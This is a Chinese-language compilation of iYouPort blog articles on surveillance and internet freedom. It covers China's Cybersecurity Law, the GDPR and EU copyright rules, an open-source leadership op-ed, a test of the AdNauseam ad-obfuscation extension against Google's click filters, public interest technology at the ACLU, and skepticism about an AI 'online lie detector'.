- 《禁止VPN的多种动机之一》

- 《什么时候你需要VPN？》
- 《警惕恶意 VPN》
- 《如何检查您的VPN连接是否实际加密》
- 《90%的VPN网站在跟踪记录你的一举一动》

2017年，中国《网络安全法》正式生效。

该法律声称要“保护”公民的隐私和中国互联网的主权。

为了实现这一目标，国家强迫科技公司将用户数据、包括所有与用户活动有关的信息，存储在位于中国的服务器上。这些公司还被迫与中国当局“合作”进行刑事调查 —— 就如斯诺登曝光的内幕那样，只不过美国是暗着做，而中国立法强制执行。

许多评论者抨击中国的这项法律是一个微妙的“后门”，中国政府将可以通过它来获取机密信息。

- 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

同时，中国政府对想要使用在线服务的网民实行强制身份验证，只有实名的用户才可以在网上发表评论。

所有这样的网络资源都被要求引入一个程序，将真实的身份证明数据与用户账户联系起来，以验证其身份。

到2019年，这个系统发展到需要经过人脸识别才能进行通话和上网。

在购买新手机号的程序上，又增加了强制性的人脸扫描。

新法规还禁止中国公民与他人共享手机号码。

进一步的研究导致了新的监视和控制系统的开发，例如情绪识别。

- 为什么情绪识别很扯蛋《说谎的眼睛：根植于维多利亚时代面部识别》

最后，随着冠状病毒的出现，中国政府剥夺了公民对其行为进行批评的权利。

- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

- 《冠状病毒大流行期间监视状态蓬勃发展》
- 《帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱》
- 《监视技术的扩张并无助于防疫 …… 冠状病毒教给人类的东西》
- 《口罩的政治》
- 《冠状病毒危机究竟是否能够结束？：威权主义的权衡》
- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 《Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？》

即使是现在，为了“重塑互联网”，中国又推出了一种新的尖端互联网协议，这种协议和许多其他手段一起，为中国当局提供了更多机会，对全球网络进行全面审查。

许多专家认为，中国模式是不可推广的。这种观点是基于这样一个事实，即：世界上没有任何一个国家有政治意愿和足够的资源来建立这样一个自给自足的本土局域网和这样一个完美的控制和封锁系统，而不会严重削弱其经济。

但是，这从未阻止中国试图将其模式输出到其他国家，尤其是非洲国家。

除此之外，中国甚至向民主的西方国家出口监控技术，比如法国马赛市，由国家支持的华为公司在那里安装了公共监控网络设备。

- 相关详细内容见 列表-4 “作恶者：中国在帮谁”

「图」

「图」

处在中间地带的欧盟

在制定和颁布旨在保护隐私、网络中立、和网络公平竞争的规则方面，欧洲立法者可以说是最积极的。欧盟被认为是国际互联网法律的潮流引领者。

其中比较大型的措施是2018年5月实施的《通用数据保护条例》（GDPR），以取代过时的《数据保护指令》。

GDPR 要求收集和处理用户个人数据的公司必须清楚地披露他们是如何做的，出于什么原因，以及他们收集了哪些数据，同时还要获得用户的明确同意。

根据GDPR的规定，个人信息必须是假名化的，这样一旦出现问题，就不能将其用来识别某个人。

除此之外，该条例还限制了收集和存储数据的目的，并要求公司必须采取适当的网络安全措施。

- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人#GDPR 的最大受益人》
- 《意想不到的后果：#GDPR 反而破坏了隐私#GDPR 反而破坏了隐私》
- 《为什么隐私保护法规并没能起到作用？》

根据GDPR，用户有权获取收集到的所有信息，并有权将这些信息转移到其他地方，类似于下载你的 Facebook 个人资料数据。还有一项删除权，授权用户要求删除任何与他们有关的个人信息。

尽管涉及欧盟和欧洲经济区的人和公司，但 GDPR 的颁布影响了所有愿意为欧盟客户服务的外国公司。同样，来自世界各地的互联网用户可能已经注意到他们所访问的网站如何开始更新隐私政策以符合规则。

- 很可惜这没有用 《以隐私为目的的斗争如何让你变成了监视的盟友》
- 《为什么将隐私视为产权的想法必需彻底结束》
- 《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》

欧盟第2015/2120号条例第3条概述了全欧盟的网络中立规则。正如预期的那样，这些规则要求互联网服务提供商平等对待网络上的所有流量。

这意味着，互联网服务提供商不能故意调整价格，不能根据特定用户或网站的位置、内容、涉及的设备等限制连接速度或阻止其访问。

平心而论，欧盟的网络中立法有明显的漏洞，允许一个人给特定的服

务以特殊待遇，议会还是要修正这些漏洞。虽然，也有各个成员国通过了地方规则。比如荷兰和斯洛文尼亚有自己更强有力的网络中立法，而其他一些国家正在制定自己的立法版本。

还有一个严重有争议的2019年版权指令。该指令虽然包括某些积极因素，如对受保护内容的教育用途的特别豁免和内容创作者的议价权，但是，也有实质性的消极因素：所谓的 “链接税” 和 “上传过滤器” 规则作为第**15**条和第**17**条进入最终立法。

“链接税” 规则允许出版商向新闻聚合商收取发布新闻片段的费用，而 “上传过滤器” 规则迫使内容聚合商加强审查力度。这两个问题都引起了公众、科技公司和人权活动家的实质性关注和谴责。

- 《欧盟邪恶的版权法案其实已经过时》
- 《互联网如何让你失去自由？》

很多专家认为，这是以扼杀创新为代价的，还有很多地方需要改进。更复杂的合规要求，更多的规则需要遵守，更多的检查需要通过，小型初创企业自然更难起飞。而寡头公司将享有更高的垄断能力。

与在治安较差的司法管辖区经营的外国竞争者相比，这可能使总部设在欧盟的企业处于不利地位。

民主可以赢得战争吗？

国家支持的宣传海啸持续不断、散布虚假言论和阴谋论、监控技术的迅猛扩展、以及所谓的 “主权互联网” 概念的推广 (即 “分裂网”)，构成了中国和俄罗斯政策所体现的网络空间专制方法的支柱。

传统民主的西方国家不能采取同样的方式来打击这些行动，否则只能使自己处于弱势地位。

不过，只要美国坚持监视资本主义模式，它就仍然无法实际应对本世纪的最重要挑战。

欧洲模式虽然似乎介于美国和中国这两个的极端之间，但仍倾向于监管办法，最终加强国家 (或超国家) 行为体在实际治理网络空间方面的作用。

Rosenberger 在文章中提出了一种不同的方法，这种方法既能适合民主的立场，又能避免过度监管的陷阱。事实上这一方法与加密无政府

主义者的理想相一致。

- 《创建属于我们自己的国土；推荐非暴力直接行动的终极形式 —— 为自由而战（三）》

她提出的想法基本上是让人民完全控制自己的个人数据，并剥夺大公司自称的责任。她呼吁“建立一个更新的信息模式，反映民主原则，让个人而不是寡头公司或政府控制其数据的收集和使用方式”，并补充说，这将特别需要“新兴技术”。

民主的核心是人们能够拥有和行使按自己意愿生活的权利。另一方面，自由不是指做任何你想做的事的权利，而是指不做你不想做的事的权利。两者并不相同，但在当今世界，两者缺一不可。

无论是中国那样的国家控制还是美国那样的寡头监控，都没有提供民主和自由。虽然它们在细节上可能有所不同，但是在核心上完全一样 —— 它们出于权力和金钱而剥夺人们的自由。

只要没有普适的解决方案来解决赋予网络自由的问题，网络战争就必然继续。

然而，只有当人们拿回自己的信息控制权时，民主才能获胜。这是否可能，通过去中心化技术、一些渐进式的监管、还是通过其他手段，还有待观察。在这之前，民主充其量只能是处于极度危险之中。〇

WAR BETWEEN AUTHORITARIAN AND DEMOCRATIC PARADIGMS FOR DIGITAL TOMORROW

原文

数字开源时代和决定性领导真的矛盾吗？- Linux 和阿拉伯之春 - iYouPort

互联网自由-Resist

无形的杠杆作用使企业能够从竞争中脱颖而出，让客户体验到附加价值，让每个人保持参与并专注于执行

「图」

「图」

我最近在瑞士的一次研讨会上谈到了数字化颠覆时代的领导力，并被提出了一个有趣的问题。有人问我为什么要宣传强有力的决定性领导，同时谈论开源时代。“在没有明确（单一）领导的情况下获取结果不是开源吗？”他在引用开源操作系统（OS）如 Linux，社交运动如阿拉伯之春，以及最近加密货币的兴起时问道。

乍一看，争论似乎很公平，不是吗？毕竟，开源时代的一切都是关于普通人享受的惊人自由和赋权。事实上，在人类历史上，我们从来没有像现在这样获得更多的权力。那么，谁还需要在当今的环境中拥有强大的领导力？

但是如果你仔细研究一下，很明显在开源时代，对强大、果断领导的需求要大得多。实际上，事实证明，纯粹的、无领导的开源系统和运动在最初的宣传之外不起作用或无法维持。

让我们考虑一些例子，从 Linux 开始，即免费软件操作系统。Linux 自20世纪90年代开始出现，到目前为止，其市场份额还不到 4%。如果它是免费的，并且它像它声称的那样好，为什么人们仍然愿意为微软 Windows 操作系统支付高昂的费用，让后者占据 72% 的令人印象深刻的市场份额？为什么大多数 Linux 用户自己更愿意为 Red Hat 提供的版本付费，即使原始系统可以免费安装和运行？逻辑似乎没能连贯。

免费版 Linux 的问题在于没有一个中心位置可以获得更新或支持。与

Windows 相反，如果用户遇到任何问题，他们可以随时联系 Microsoft 24/7/365 寻求支持。

事实上，正是 Linux 的这一弱点让 Red Hat 获得了领导机会。它认识到了这个问题，并开始为客户提供一站式解决方案，适用于所有 Linux。只有当 Red Hat 成为 Linux 更新和支持的保管人（领导者）时，操作系统才开始受到企业用户的青睐。至少在某种程度上，通过在开源系统中填补领导真空，Red Hat 管理的估值高达 330 亿美元。

现在，让我们来看看阿拉伯之春。在 2010 年自突尼斯启动后，预计革命浪潮将迅速蔓延到整个西亚，并结束压迫政权。然而，八年之后，这场运动几乎完全死亡，一些国家的独裁政权最为严重了。为什么？正因为它没有一个领导者。

另一个来自开源时代的想法的例子是加密货币。它存在了十年，但加密货币并不是主流。大多数人发现很难相信由一个或多个人创建的系统，如果你需要帮助就会发现无能为力。您是否愿意将自己一生的储蓄存放在由中央银行控制和监管的银行系统中，还是在很少有人理解的数字货币采矿和交易系统中，并且没有人监管？为了使加密货币成为主流，我们需要一个可见的人介入，就像 Red Hat 为 Linux 做的那样。

今天的开源时代是快速和赋权的时代。一方面，事情以极快的速度发展，任何跟不上这种速度的人或组织都很快被边缘化；另一方面，由于24/7连接，每个人都有一个权力的声音，任何人都可以加入任何辩论，几乎不可能达成共识。再加上网络犯罪的威胁和隐私的近乎死亡，你已经陷入了完美的风暴。

在这样的现实中，人们需要比以往任何时候都更有效的领导方向、安全和支持。无形的杠杆作用使企业能够从竞争中脱颖而出，让客户体验到附加价值，让每个人保持参与并专注于执行。显然，这是需要时间的。〇

原文

数据投毒以抵制监视资本主义：这肯定不是一步到位的斗争，但也许能作为一小部分战术 - iyouport

互联网自由-Resist

套用一个中文网络的流行句式：没有我们的数据，这些监视资本家什么都不是

每天，您的生活都会留下一大串数字面包屑，科技巨头们用它来追踪您。不论是您发送一封电子邮件，订购一些食物，还是播放一个节目。您的一举一动都会让他们得到宝贵的数据包，以建立对您的喜好和心理弱点的了解。这些数据被输入到机器学习算法中，以便操纵您 —— 从操纵您购买某款牙膏，到操纵您的选举投票。谷歌将您的数据兑现为每年超过1200亿美元的广告收入。

这就是监视资本主义的工作方式。关于具体他们是怎么做的，见《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

越来越多地，我们无法再选择退出这种安排。2019年，时任 Gizmodo 记者的克什米尔·希尔 (Kashmir Hill) 试图将五大科技巨头从她的生活中剔除，这很有名。她花了六个星期的时间，苦于无法完成基本的数字功能。与此同时，这些科技巨头甚至没有感觉到任何瘙痒。

现在，西北大学的研究人员提出了纠正这种权力不平衡的新方法，将我们的集体数据作为谈判的筹码。科技巨头们可能有花哨的算法，但如果没有足够的正确数据进行训练，这些算法就毫无意义。

在3月举行的计算机协会公平、责任和透明度会议上，研究人员提出了公众可以利用这一优势的三种方式：

1、数据罢工：受劳工罢工的启发，涉及扣留或删除您的数据，以便科技公司不能使用它 —— 例如，离开一个平台或安装隐私保护工具。比如我们在 列表-1 “技术防身” 中介绍的保护性工具。

但是请注意，在反监视资本主义的大战略下，这仅仅是防御性和被动的。

2、数据投毒：这涉及到提供无意义或有害的数据。例如，AdNauseam是一个浏览器扩展，可以自动帮您点击提供给您的每一个广告，从而混淆谷歌的广告定位算法。

并不止于此，包括我们推荐的“分身术”，只要有足够多的人去做，都可以一定程度上实现拉低数据经济的可行性。但依旧不够。

3、有意识的数据贡献：包括向您想要抵制的平台的竞争对手提供有意义的数据，例如将您的 Facebook 照片上传到 Tumblr。

但我们认为这不是好的方法，鉴于这些垄断的监视资本家反竞争的标准方法就是用收购灭掉小型的竞争对手，所以，转向竞争对手不会是解决方案。关于这点，这里的分析是适当可参考的。

人们已经使用了许多这样的策略来保护自己的隐私。如果您曾经使用过广告拦截器或其他类似的浏览器扩展、使用运算符修改您的搜索结果以排除某些网站，您就已经参与了数据战反击，并对您的数据的使用重新获得了一些代理权。

但是，正如希尔所发现的那样，像这样零星的个人行动并不能让科技巨头改变他们的行为。

但是，如果数百万人协调起来，向一家科技巨头的数据井投毒，会怎么样呢？这可能会给人们一些筹码来坚持自己的要求。

这方面可能已经有一些例子了。今年1月，在 Facebook 宣布将开始与公司其他部门共享 WhatsApp 数据后，数百万用户删除了他们的 WhatsApp 账户，转投 Signal 和 Telegram 等平台。这场大逃亡导致 Facebook 推迟了其政策变更。

3月，谷歌也宣布，它将停止在整个网络上跟踪个人。虽然这并不是任何真正的变化（见《别傻了，谷歌永远不会给你隐私》），但有可能像 AdNauseam 这样的工具的使用增加，降低了公司算法的有效性，促成了这一决定。当然，这最终很难说。就如研究人员所说：“真正知道数据杠杆运动对一个系统的影响有多大的人是科技公司自己”。

研究人员认为，这些运动可以补充政策宣传和工人组织等战略，以抵制科技巨头。

要使这些活动更加广泛，仍有工作要做。例如，计算机科学家可以在制造更多像 AdNauseam 这样的工具方面发挥重要作用，这将有助于降低参与此类策略的门槛。政策制定者也可以提供帮助。当得到强有力的数据隐私法的支持时，数据打击是最有效的，比如欧盟的《通用数据保护条例》（GDPR），它赋予消费者要求删除其数据的权利。虽然该法律还远远不够。如果没有这样的法规，就很难保证科技公司会让您选择擦除您的数字记录，即使您删除了自己的账户，数据也还在他们手里。

而且有些问题还有待解答。数据反击战需要多少人参与才能破坏一个巨头公司的算法？什么样的数据能最有效地毒害一个特定的系统？例如，在一个涉及电影推荐算法的模拟中，研究人员发现，如果30%的用户罢工，可能会使系统的准确性降低50%。但是每个机器学习系统都是不同的，而且公司也在不断地更新它们。研究人员希望机器学习界的更多人能够对不同公司的系统进行类似的模拟，并找出它们的漏洞。

Alkhatib 建议，学者们也应该对如何激发集体数据行动做更多研究。“集体行动真的很难，让人们跟进正在进行的行动是一个挑战。然后还有一个挑战就是，你如何让一群人非常短暂地—— 在这种情况下，可能是那些使用搜索引擎5秒钟的人—— 把自己看作是一个真正可持续发展的社区的一部分？”

他补充说，这些策略也可能产生下游的后果，需要仔细检查。数据投毒最终会不会只是给内容审查员和其他负责清理和标记公司训练数据的人增加更多的工作？

但总的来说，这些研究人员乐观地认为，数据杠杆可以变成一个有说服力的工具，以影响科技巨头如何对待我们的数据和我们的隐私。“人工智能系统是依赖于数据的。这只是一个关于它们如何工作的事实。最终，这是公众可以获得权力的一种方式。”

以下是对 AdNauseam 的测评。如上所述，这是目前为止一个相对典型的技术型数据投毒工具。

一些活动家对监管机构无法有效制约谷歌的行为感到失望，于是自己动手。早在2014年，Daniel Howe、Mushon Zer-Aviv、和 Helen Nissenbaum 就发布了一个名为 AdNauseam 的浏览器扩展，自动点击网络广告，以干扰监视资本家的行为跟踪和分析。Nissenbaum 是康奈尔科技大学一个研究小组的负责人。

AdNauseam 是一种混淆视听的工具。混淆战术是一种针对缺乏隐私保护的游击战方法。由于不可能躲避谷歌的监控，于是这些战术通过引入不准确或过度的信息来混淆它，并最终破坏它。

这并不是一个新的想法。正如尼森鲍姆与芬·布鲁顿在2019年的一篇文章中写道的："我们身边有很多混淆视听的例子， 它可以是一些很简单的事，如在药店的购物车中添加额外的物品，以分散对可能带来不必要的判断的注意力。Tor浏览器聚集了用户的网络流量，因此没有任何个人能够脱颖而出，这也许是系统性混淆的最成功例子之一。"

AdNauseam 就像传统的广告屏蔽软件，但有一个额外的层次。当用户浏览一个网站时，它不只是删除广告，还自动点击广告。通过使用户看起来好像对一切都感兴趣，**AdNauseam** 使监视者难以构建对特定目标人的档案。这就像用虚假信号来干扰雷达一样。而且它是可以调整的。用户可以选择信任尊重隐私的广告商而干扰其他广告商；还可以选择是自动点击某个网站上的所有广告，还是只点击其中的一部分。

不出所料，谷歌并不喜欢 AdNauseam。2017年，它从其 Chrome 网络商店禁止了该扩展。2019年，尼森鲍姆在加州大学伯克利分校发表了关于 AdNauseam 的演讲后，人群中的怀疑者—— 包括谷歌员工—— 都否定了她的努力。他们说，谷歌的算法将很容易检测到并拒绝非法点击—— AdNauseam 将无法与谷歌复杂的防御系统相抗衡。

尼森鲍姆将此视为一种挑战。她开始了一项研究工作，以测试 AdNauseam 是否能按设计运行。他们将发布一个网站，并在同一网站上以"每次点击成本"的方式购买广告 —— 这意味着广告商在用户每次点击广告时都要付费，因此可以看到 AdNauseam 产生的点击量是否记入了发布者的账上，并向广告商收费。

测试表明，AdNauseam 确实有效，大部分时间都是如此。但随着实验的发展，它变得比解决这个狭隘的问题更重要。研究人员想要尝试了解谷歌利润丰厚的广告销售平台的黑匣子里到底发生了什么，这是该公司以外的其他人从未做过的。

实验的第一步是建立一个网站和一个 AdSense 账户。谷歌 AdSense 是一项销售服务，为那些没有能力自己吸引广告商的小型出版商提供。为了获得32%的佣金，谷歌负责处理网站流量货币化的整个过程：它销售广告，计算印象和点击量，收集和支付款项，并保持对欺诈的警惕。如果尼森鲍姆演讲中的怀疑论者是对的，意味着 AdSense

应该嗅到 AdNauseam 点击量中的猫腻，并将它们扔回海里。

接下来，研究人员创建了一个活动，使用谷歌广告（Google Ads）在网站上做广告，谷歌广告对广告商的作用就像 AdSense 对出版商的作用一样。小广告商告诉谷歌他们想接触什么样的人以及他们愿意支付多少钱，然后谷歌监视所有人，并在目标人群浏览一系列网站时找到他们。在这种情况下，广告活动被设定为只在这个测试网站上运行，并出价超过任何竞争的广告商。之所以这样设置，是因为研究人员想要小心翼翼地避免从中获利，或将不知情的旁观者卷入这场实验。

现在研究人员站在广告交易的两边，准备从头到尾观察一次广告点击的生命周期。他们邀请了个别志愿者下载 AdNauseam 并访问那个实验网站。很快，研究人员记录了几十次成功的 AdNauseam 点击——记入研究团队的广告商账户，并记入出版商账户。AdNauseam 正在发挥作用。

但这只能证明，谷歌并没有阻止专门为实验招募的全新的 AdNauseam 用户所产生的第一次广告点击。为了让怀疑者闭嘴，研究人员需要测试谷歌是否会随着时间的推移学会识别可疑的点击。

因此，开始对那些已经使用 AdNauseam 一段时间的人进行了实验。对于任何一个长期监视的人来说，这些用户就像一个大拇指一样突出，因为在 AdNauseam 的默认设置下，他们似乎对他们看到的广告进行了100%的点击。用户可以调整点击率，但即使是10%，他们也会超出常规；大多数人点击显示广告的时间只有1%的一小部分。

这项测试的目的是检查谷歌是否会无视来自浏览器的 AdNauseam 点击，该浏览器长期以来有天文数字的点击率记录。如果谷歌的机器学习系统如此聪明，他们应该不难完成这项任务。由自动Selenium浏览器收集的AdNauseam广告拼图

研究人员以两种方式测试了这一点。

首先，用人：研究人员招募了 AdNauseam 的长期用户到这个实验网站；还邀请了 AdNauseam 的新用户在正常浏览网页的过程中使用点击软件一周，以便建立历史记录，然后参与测试。

其次，用软件：用一个叫 Selenium 的软件工具进行了自动测试，它可以模拟人类的浏览行为。使用 Selenium，研究人员引导装有 AdNauseam 的浏览器自动浏览网页，在各个网站和页面上导航，暂停、滚动，并在途中点击广告。

基本上，这让研究人员迅速建立起了大量点击活动的记录，同时严格控制可能与谷歌是否将点击归为 “真实” 有关的变量。研究人员设置了四个这样的自动浏览器，分别运行了一天、两天、三天和七天。

在每个时期结束时，研究人员将浏览记录发送到实验网站，看看 AdSense 是否接受它们的点击为合法。例如，运行了七天的 Selenium 浏览器，点击了900多个谷歌广告，总共有近1200个广告。如果谷歌的系统确实对可疑的点击行为很敏感，这应该是敲响了警钟。

大部分测试都很成功。谷歌通过运行了三天的自动浏览器过滤掉了对这个实验网站的点击；但是，它没有过滤掉绝大多数其他点击，无论是普通的 AdNauseam 用户，还是在自动测试中，浏览器每天点击超过100个谷歌广告。简而言之，谷歌的高级防御系统对 AdNauseam 的典型点击行为并不敏感。

很快，研究人员的 AdSense 账户中就有了100美元，足以让谷歌邮寄一张支票了。这笔钱并不是不义之财，无论如何。这只是拿回了研究者自己投资在广告商账户中的钱—— 除去给谷歌的32%分成。研究人员决定不兑现支票，只要知道实验证明了至少现在 AdNauseam 是有效的就够了。这张支票就像一张成功的证书。

尽管如此，这次实验依旧无法回答其他一些重要问题。如果你使用 **AdNauseam**，它的点击量如何影响谷歌在你身上建立的档案？**AdNauseam** 是否成功地屏蔽了个人，以及他们可能被分到的人群，使他们不被作为定位的目标？毕竟，即使你使用了这个扩展，谷歌仍然可以从你的电子邮件、搜索历史和其他来源收集大量的数据。即使是回答这次实验简单的原始问题—— 该软件是否有效，也需要大量的努力。要回答其他问题，则需要在网络广告的更多节点上进行内幕访问。

事实上，甚至不能确切地知道为什么这次测试有效—— 为什么谷歌没有发现这些 AdNauseam 的点击。这是技术上的失败还是意志上的失败？

技术失败意味着谷歌对自动广告点击的防御措施没有该公司声称的那么复杂。然而，尽管得出研究小组战胜了历史上最强大的公司之一的结论会让人受宠若惊，但这似乎很牵强。

一个更可能的解释是意志的失败。每次广告被点击，谷歌都能赚钱。如果广告商发现他们被收取虚假的点击费用，这当然会破坏他们对在

线广告业务的信心。但是，广告商自己无法验证这些怀疑，除非他们能像研究人员那样，从市场的两端同时观察。但即使他们可以，谷歌的市场主导地位也使他们很难将业务转移到其他地方。

谷歌女发言人莱斯利·皮特森在一份声明中写道："我们检测并过滤了绝大多数这种自动伪造活动。从一个小规模的实验中得出的结论不能代表谷歌先进的无效流量检测方法，也不能代表我们专门的技术、政策和运营团队每天为打击广告欺诈所做的持续工作。"她补充说："我们在检测无效流量方面投入了大量资金—— 包括来自 AdNauseum [原文如此]等扩展程序的自动流量—— 以保护用户、广告商和出版商，因为广告欺诈损害了生态系统中的每个人，包括谷歌。"

如果与皮特森的说法相反，这次实验的结果在规模上确实成立，这对广告商来说可能是坏消息，但对互联网用户来说是好消息。这意味着 AdNauseam 是普通人目前拥有的为数不多的防范侵入性剖析的工具之一。

尽管如此，这只是一个暂时的、不完美的防御措施。如果谷歌找到一种方法、或者有意愿来消除 AdNauseam，那么它的任何效用都可能是短暂的。**AdNauseam** 可能会适应谷歌的反击，但军备竞赛显然会有利于谷歌。

政府和监管机构通常未能制定或执行防止商业监控的规则。诚然，最近的一些法律，如欧盟的《通用数据保护条例》（GDPR）和《加州消费者隐私法》，在一定程度上限制了公司向第三方出售或分享个人数据的能力。但是，这些法律并没有限制谷歌最强大监视资本家的能力。事实上，谷歌反而会从这些隐私法中受益，因为它们限制了竞争对手和客户获取其获得的数据的能力。谷歌一直在监视所有人，而广告商则更加依赖谷歌所知道的。

AdNauseam 并不能阻止谷歌这样做，但它确实让个人可以抗议这些监视和行为定位的循环，这些循环已经使大部分网络世界成为了隐私的噩梦。

混淆是一种抵抗行为，有助于削弱对跟踪和定位的信心，并削弱数据资料的价值，希望广告商和广告技术公司可能开始发现监视人们是不切实际的和无利可图的。

使用 AdNauseam 的另一个重要好处是，在它成功混淆的程度上，它有助于保护每个人的隐私，而不仅仅是使用它的人。这是因为个人信息并不是严格意义上的个人信息；关于我的信息可以反馈到关于与我

有联系的人或与我有共同点的所有人的推断中。如果你和我去了相同的网站，营销人员可能会利用他们对我的了解来对你做出判断，也许会给你贴上有价值、有风险、或可能点击某个广告的标签。AdNauseam 用户通过掩饰他们自己的偏好，使谷歌更难对他们轨道上的其他人进行分析和评估。因此，监控广告的剖析和预测引擎变得不太可靠。

但是，在某些方面，怀疑论者是对的：少数程序员和研究人员无法与技术巨头交锋。闭门造车不能替代有组织、有活力的反抗运动。值得庆幸的是，一些政府正在对谷歌和 Facebook 提起反垄断诉讼，对公司的数据行为进行调查，对违法行为进行罚款，并努力加强对隐私的保护，虽然罚款无法解决问题。但现在，像 AdNauseam 这样的游击战术是我们这些被剥削者所拥有的武器。○

We tested a tool to confuse Google’s ad network. It works and you should use it.

原文

新一代技术人员如何改变未来？ - iYouPort

互联网自由-Resist

科技行业的就业机会主要是企业。从表面上看，这些工作似乎“很充实”：薪酬高，有晋升机会，股票期权和其他津贴。但是，当你发现你的创新、工程技术和设计一个更美好未来的梦想与现有技术通常带来的巨大伤害的惨淡现实相冲突时，你会选哪个方向？

当你发现我们创造的“效率引擎”最终颠覆了民主、受保护的第一修正案的活动反而受到老大哥的监视、加深了现有的不平等时，你会怎么做？

福特基金会提出了同样的问题—— 一个不断发展的领域—— Public Interest Technology—— 人们利用他们的技术经验和技能来改善世界。公共利益技术正是它字面上的意思—— 服务于司法和公共利益的技术。几乎任何其他公司技术职位都有信托责任为股东创造最大利润，但是公共利益技术专家则被要求为公共利益服务。

我作为一名公共利益技术专家的旅程始于从软件工程世界突然过渡到马萨诸塞州 ACLU 的新角色。我在 ACLU 的第一天就强调了技术如何在世界上取得成功。

我进行了数据驱动的调查，调查波士顿的警察如何在线监视人们、纠正马萨诸塞州的毒品实验室丑闻、并教导人们关于重要的数字安全实践 ……不同的角色有一个共同点：在像 ACLU 这样的组织中，技术可以—— 而且应该 -—— 用于抵御威胁、深究政策和计算机科学，并充分利用技术实现变革的潜力。

我没有成为上述主题和问题的专家。但是，我的工作使我能够灵活地花时间熟悉我在这个角色中取得成功所需的工具、政策和技能。传统的学科往往不是为了帮助学生学习和应用技术专业知识来提高公共利益而建立的—— 这应该被改变。今年夏天，福特基金会召集大学校长、教务长和教师探索追求公共利益技术的途径，为建立这条职业路线的风潮带来制度上的支撑力。

随着技术的不断发展和超越政策和法律，公共利益技术人员的需求将

不断增加。我们可以共同建立一个领域，帮助组织机构解决算法偏差，在线监控，数字隐私，自由表达等问题。我们的共同未来取决于这项倡议的成功。

让技术人员为正义而工作，这是多么令人向往的未来啊。我们应该能做到这点，这才是技术与人之间的关系最佳的方式。

What do you do when you find that the “efficiency engines” we’ve created end up subverting democracy, surveilling protected First Amendment activity, or deepening existing inequalities? in organizations like the ACLU, technology can—and should—be used to ward off threats, entwine policy and computer science, and take full advantage of technology’s transformative potential.

原文

有人要把测谎仪"搬到"互联网上，你觉得这可行吗？ - iYouPort

互联网自由-Resist

互联网充满了谎言。这条格言已经成为一种共识。但这事究竟有没有解决方案？有人要把测谎仪”搬到”互联网上，你觉得这可行吗？

「图」

「图」

互联网充满了谎言。这条格言已经成为一种共识，从 Facebook 和 Twitter 到网络钓鱼困扰的收件箱、再到垃圾评论、再到在线约会和被虚假信息困扰的媒体。

现在，一组研究人员提出了第一个解决方案的暗示：他们声称已经为“在线测谎仪”构建了一个原型，它使用机器学习来单独检测文本中的欺骗性信息。

但是，根据一些机器学习研究者的说法，它们实际展示的是过度机器学习固有的危险。

在2月份的《计算机与人类行为》杂志上，佛罗里达州立大学和斯坦福大学的研究人员提出了一个系统，该系统声称可以使用自动算法来分离真相和谎言，它们被称为“在线测谎系统—— 或计算机原型检测“。

他们说，通过一系列实验，他们能够通过观看两个人之间在线打字的一对一对话，同时仅使用他们打字的内容和速度，培训机器学习模型，以分隔谎言和真相的发布者。该测谎仪声称其他任何物理线索都不能区分谎言。

佛罗里达州立大学信息学院教授 Shuyuan Ho 表示，“我们使用统计建模和机器学习方法来解析对话的线索，并根据这些线索对参与者是

否撒谎进行了不同的分析”。“结果非常有希望，这是在线测谎仪的基础。”

但是，当 WIRED 向少数学者和机器学习专家展示这项研究时，他们的回答是深刻的怀疑。这项研究不仅不一定是任何可靠的真相告知算法的基础，而且还会产生潜在的危险：他们警告说，一个基于文本的“在线测谎仪”如果被采纳，可能会产生更糟糕的社会和伦理影响，不如将这些决定权归于人类的判断。

“这是一个引人注目的结果。但是当你与人类打交道时，必须格外小心，尤其是当某人说谎是否会导致定罪、审查、失去工作时”，Jevin West 说，他是华盛顿大学信息学院的一位教授，也是反对机器学习炒作的著名评论家。他说，“当人们认为这项技术具备这些能力时，其影响要大于研究。”

斯坦福大学的研究有40名参与者反复玩一个游戏，研究人员称之为“Real or Spiel”。在游戏中，那些隐藏着真实身份的人，会在一种角色扮演游戏中回答对方的问题。参与者将在每场比赛开始时被告知他们是否是为了回应每个问题而撒谎的“罪人”，或者总是说出真相的“圣徒”。

研究人员随后获取了所得到的文本数据，包括每个响应的确切时间，并将其中的一部分用作机器学习模型的训练数据，该模型旨在对真相和谎言进行分类，同时使用其余数据来测试该模型。

他们发现，通过调整机器学习模型，他们可以识别出的欺骗者“具有高达82.5%的准确度”。该算法据称可以基于线索找到骗子，比如比真相发布者更速地提供答案、更多的“负面情绪”、更多的“焦虑”信号、更多的词语，以及“永远”、“决不”等确定性的表述。相比之下，真相讲述者使用了更多的因果解释词，如“因为”，以及不确定的词，如“也许”和“猜测”。

该算法能够胜过人类先天的判断真伪的能力，这似乎是一个非凡的结果。但是，该研究的批评者指出，它是在一个高度控制的、狭隘定义的游戏中实现的—— 而不是在现实世界场景中实践的，在现实世界中肯定不那么一致，现实是骗子可以随心所欲的世界。“

“这是一项糟糕的研究，”Cathy O’Neill 说，他是数据科学顾问，也是2016年《Weapons of Math Destruction》一书的作者。“在一项研究中告诉人们撒谎是一种非常不同的设置，因为在现实中有些人会说谎几个月或几年。即使他们可以确定谁加入研究中，但这与他们能否确

定某人是一个更有研究价值的骗子完全无关。“

她说：“如果被要求，大多数人都可以说谎。关键是，实验室[场景]是完全人为的。”

FSU 教授 Ho 反驳说，这项研究只是迈向基于文本的谎言检测的第一步，并且在应用之前需要进一步的研究。她清楚地承认其实验的狭隘背景，但仍声称这可能会为可靠的在线测谎仪“创造一条道路”，这让专家们感到焦虑。

两位不同的评论家指出他们所说的一项类似的研究，捕捉了基于狭隘的测试场景对机器学习能力提出质疑。2016年，中国研究人员宣布，他们创造了一种机器学习模型，可以仅仅根据某人的面孔来发现犯罪行为。

